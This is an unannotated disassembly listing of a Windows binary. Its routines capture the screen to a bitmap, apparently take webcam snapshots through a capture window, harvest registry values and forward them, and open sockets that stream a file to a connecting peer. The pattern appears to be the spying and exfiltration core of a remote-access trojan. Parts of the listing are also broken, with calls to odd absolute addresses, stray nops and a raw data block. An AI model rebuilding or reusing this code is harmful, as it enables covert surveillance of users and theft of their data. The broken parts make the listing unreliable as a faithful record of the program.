		push	offset aDisplay	; "DISPLAY"
		call	dword_4CB640
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F1
		push	8
		push	edi
		call	dword_4CB65C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CB65C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CB65C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541F
		push	18h
		push	edi
		call	dword_4CB65C
		mov	ebx, 100h
		jmp	short loc_415421
; ---------------------------------------------------------------------------


loc_41541F:				; CODE XREF: sub_4153BD+50j
		xor	ebx, ebx


loc_415421:				; CODE XREF: sub_4153BD+60j
		push	edi
		call	dword_4CB6A0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D6
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CB698
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E1
		push	eax
		push	[ebp+var_4]
		call	dword_4CB524
		cmp	eax, esi
		jz	loc_4155E1
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E1
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CB69C
		test	eax, eax
		jz	loc_4155E1
		cmp	ebx, esi
		jz	short loc_4154DE
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CB578
		mov	ebx, eax


loc_4154DE:				; CODE XREF: sub_4153BD+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 26F0781h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C1
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 26E0000h
		nop
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		cmp	ebx, esi
		jz	short loc_4155A3
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h


loc_4155A3:				; CODE XREF: sub_4153BD+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 26E0000h
		nop
		push	[ebp+arg_0]
		nop
		call	near ptr 265092Ah
		push	1
		pop	esi


loc_4155C1:				; CODE XREF: sub_4153BD+1A2j
		push	[ebp+var_1C]
		call	dword_4CB5B0
		push	[ebp+var_4]
		call	dword_4CB510
		mov	edi, [ebp+var_20]


loc_4155D6:				; CODE XREF: sub_4153BD+70j
		push	edi
		call	dword_4CB510
		mov	eax, esi
		jmp	short loc_4155F3
; ---------------------------------------------------------------------------


loc_4155E1:				; CODE XREF: sub_4153BD+C7j
					; sub_4153BD+D9j ...
		push	edi
		call	dword_4CB510
		push	[ebp+var_4]
		call	dword_4CB510


loc_4155F1:				; CODE XREF: sub_4153BD+23j
		xor	eax, eax


loc_4155F3:				; CODE XREF: sub_4153BD+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F8	proc near		; CODE XREF: sub_401ACD+7477p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415636
		mov	eax, esi
		jmp	loc_4157EC
; ---------------------------------------------------------------------------


loc_415636:				; CODE XREF: sub_4155F8+35j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415653
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6B0
		jmp	short loc_415655
; ---------------------------------------------------------------------------


loc_415653:				; CODE XREF: sub_4155F8+47j
		xor	eax, eax


loc_415655:				; CODE XREF: sub_4155F8+59j
		cmp	eax, ebx
		jnz	short loc_415660


loc_415659:				; CODE XREF: sub_4155F8+88j
					; sub_4155F8+BCj
		mov	ebx, esi
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_415660:				; CODE XREF: sub_4155F8+5Fj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41567D
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0


loc_41567D:				; CODE XREF: sub_4155F8+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415659
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A3
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A6
; ---------------------------------------------------------------------------


loc_4156A3:				; CODE XREF: sub_4155F8+98j
		mov	[ebp+arg_4], ebx


loc_4156A6:				; CODE XREF: sub_4155F8+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415659
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CD
		push	1
		pop	ebx
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_4156CD:				; CODE XREF: sub_4155F8+CBj
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4156EA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4156EA:				; CODE XREF: sub_4155F8+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415705
		mov	ecx, 280h


loc_415705:				; CODE XREF: sub_4155F8+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415711
		mov	eax, 1E0h


loc_415711:				; CODE XREF: sub_4155F8+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575B
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_41575B:				; CODE XREF: sub_4155F8+153j
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415778
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_415778:				; CODE XREF: sub_4155F8+16Ej
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415797
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_415797:				; CODE XREF: sub_4155F8+18Bj
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4157B4
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4157B4:				; CODE XREF: sub_4155F8+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4157E1
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4157E1:				; CODE XREF: sub_4155F8+63j
					; sub_4155F8+D0j ...
		push	[ebp+var_4]
		call	dword_4CB704
		mov	eax, ebx


loc_4157EC:				; CODE XREF: sub_4155F8+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F1	proc near		; CODE XREF: sub_401ACD+752Fp

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582F
		mov	eax, esi
		jmp	loc_415A2B
; ---------------------------------------------------------------------------


loc_41582F:				; CODE XREF: sub_4157F1+35j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41584C
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6B0
		jmp	short loc_41584E
; ---------------------------------------------------------------------------


loc_41584C:				; CODE XREF: sub_4157F1+47j
		xor	eax, eax


loc_41584E:				; CODE XREF: sub_4157F1+59j
		cmp	eax, ebx
		jnz	short loc_415859


loc_415852:				; CODE XREF: sub_4157F1+8Bj
					; sub_4157F1+BCj
		mov	ebx, esi
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_415859:				; CODE XREF: sub_4157F1+5Fj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415879
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0


loc_415879:				; CODE XREF: sub_4157F1+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415852
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41589C
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB6B0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589F
; ---------------------------------------------------------------------------


loc_41589C:				; CODE XREF: sub_4157F1+96j
		mov	[ebp+arg_4], ebx


loc_41589F:				; CODE XREF: sub_4157F1+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415852
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C6
		push	1
		pop	ebx
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_4158C6:				; CODE XREF: sub_4157F1+CBj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4158E3
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB6B0


loc_4158E3:				; CODE XREF: sub_4157F1+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FE
		mov	ecx, 0A0h


loc_4158FE:				; CODE XREF: sub_4157F1+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415908
		push	78h
		pop	eax


loc_415908:				; CODE XREF: sub_4157F1+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41594D
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6B0


loc_41594D:				; CODE XREF: sub_4157F1+14Aj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41596A
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB6B0


loc_41596A:				; CODE XREF: sub_4157F1+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159A8
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB6B0


loc_4159A8:				; CODE XREF: sub_4157F1+1A3j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159C3
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB6B0


loc_4159C3:				; CODE XREF: sub_4157F1+1C0j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159DC
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB6B0


loc_4159DC:				; CODE XREF: sub_4157F1+1DBj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159F9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6B0


loc_4159F9:				; CODE XREF: sub_4157F1+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415A22
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB6B0


loc_415A22:				; CODE XREF: sub_4157F1+63j
					; sub_4157F1+D0j ...
		push	edi
		call	dword_4CB704
		mov	eax, ebx


loc_415A2B:				; CODE XREF: sub_4157F1+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A30	proc near		; CODE XREF: sub_401ACD+25F2p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4368EC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD1
		push	esi
		push	edi
		mov	eax, offset off_4368EC
		mov	esi, offset dword_4368F8
		mov	edi, offset dword_437AF0


loc_415A60:				; CODE XREF: sub_415A30+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB6C4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CB554
		test	eax, eax
		jnz	loc_415BB7
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7B
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_429AC4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB7
		push	eax


loc_415AD9:				; CODE XREF: sub_415A30+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B70
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B06
		push	[ebp+var_8]
		jmp	short loc_415AD9
; ---------------------------------------------------------------------------


loc_415B06:				; CODE XREF: sub_415A30+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B34
		lea	eax, [ebp+var_70]
		push	offset asc_437AEC ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_437AEC ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B37
; ---------------------------------------------------------------------------


loc_415B34:				; CODE XREF: sub_415A30+E4j
		lea	eax, [ebp+var_70]


loc_415B37:				; CODE XREF: sub_415A30+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 18h


loc_415B70:				; CODE XREF: sub_415A30+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB7
; ---------------------------------------------------------------------------


loc_415B7B:				; CODE XREF: sub_415A30+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_415BB7:				; CODE XREF: sub_415A30+60j
					; sub_415A30+A2j ...
		push	[ebp+var_4]
		call	dword_4CB630
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A60
		pop	edi
		pop	esi


loc_415BD1:				; CODE XREF: sub_415A30+19j
		pop	ebx
		leave
		retn
sub_415A30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD4	proc near		; CODE XREF: ___:00416279p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C50
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694
		cmp	eax, esi
		jnz	short loc_415C35
		push	[ebp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jz	short loc_415C50
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C35:				; CODE XREF: sub_415BD4+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC
		cmp	eax, esi
		jnz	short loc_415C54
		push	edi
		call	dword_4CB6EC


loc_415C50:				; CODE XREF: sub_415BD4+1Bj
					; sub_415BD4+58j
		mov	eax, esi
		jmp	short loc_415C56
; ---------------------------------------------------------------------------


loc_415C54:				; CODE XREF: sub_415BD4+73j
		mov	eax, edi


loc_415C56:				; CODE XREF: sub_415BD4+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD4	endp

; ---------------------------------------------------------------------------
word_415C5A	dw 8B55h		; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8ECh, 0B9E80000h, 8B00005Eh, 56530845h,	8B6D6A57h
		dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h
		dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h
		dd 8D527559h, 0FFEE4C85h, 7B6C68FFh, 0E8500043h, 5BDAh
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3DA6E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF4D1h, 0E8F075FFh, 0FFFF572Fh, 0E8565959h
		dd 22BA314h, 0D8086890h, 0E8530043h, 3F6Dh, 0FFF88359h
		dd 8D597559h, 0FFEE4C85h, 7B3C68FFh, 0E8500043h, 5B76h
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3D42E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF46Dh, 15FF5359h, 4CB6ECh, 0E8F075FFh
		dd 0FFFF56C3h, 0E8905659h, 22BA2A8h, 0E890646Ah, 224B13Fh
		dd 0BEFF33h, 56000010h,	0EE4C858Dh, 5057FFFFh, 581BE8h
		dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h,	4CB66Ch
		dd 387EC085h, 0EE4C858Dh, 0A068FFFFh, 500042A0h, 6123E8h
		dd 4C858D00h, 50FFFFEEh, 3CA8E8h, 0CC48300h, 1474C085h
		dd 0E890646Ah, 224B0E7h, 80E80A6Ah, 85FFFF55h, 0A37559C0h
		dd 0EE4C858Dh, 868FFFFh, 5000437Bh, 5AB1E8h, 0F87D3900h
		dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h,	0FFFF6C85h
		dd 0E85350FFh, 0FFFF3C7Fh, 8D14C483h, 0FFEE4C85h, 0AAE850FFh
		dd 59FFFFF3h, 0EC15FF53h, 0FF004CB6h, 0E8F075h,	59FFFF56h
		dd 0A1E6E857h
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		nop


loc_415E1B:				; DATA XREF: sub_401ACD+7832o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E69
		push	offset unk_437C6C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415E69:				; CODE XREF: ___:00415E5Dj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB654
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CB680
		test	eax, eax
		jz	short loc_415EA7
		push	offset unk_437C48
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415EA7:				; CODE XREF: ___:00415E9Bj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB5F8
		push	dword ptr [ebp-2Eh]
		call	dword_4CB584
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED9:				; CODE XREF: ___:00415F0Aj
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEC
		push	5Fh
		pop	eax
		jmp	short loc_415EEF
; ---------------------------------------------------------------------------


loc_415EEC:				; CODE XREF: ___:00415EE5j
		movsx	eax, al


loc_415EEF:				; CODE XREF: ___:00415EEAj
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED9
		push	ebx
		push	edi
		call	dword_4CB67C
		test	eax, eax
		jz	short loc_415F22
		push	offset unk_437B6C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F22:				; CODE XREF: ___:00415F16j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 26F0781h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4C
		push	offset unk_437C28
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F4C:				; CODE XREF: ___:00415F40j
		push	esi
		push	eax
		nop
		call	near ptr 2720B88h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694
		push	eax
		call	dword_4CB650
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437C10
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB63C
		test	eax, eax
		jg	short loc_415FFC
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437BF8
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		jmp	loc_416120
; ---------------------------------------------------------------------------


loc_415FFC:				; CODE XREF: ___:00415FDAj
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416035
		push	offset unk_437BD4


loc_416022:				; CODE XREF: ___:00415E64j
					; ___:00415EA2j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416123
; ---------------------------------------------------------------------------


loc_416035:				; CODE XREF: ___:0041601Bj
		push	edi
		call	dword_4CB6EC
		cmp	[ebp+8], esi
		jz	loc_4160E7
		mov	edi, 400h


loc_41604A:				; CODE XREF: ___:004160DEj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416057
		mov	[ebp-4], eax


loc_416057:				; CODE XREF: ___:00416052j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
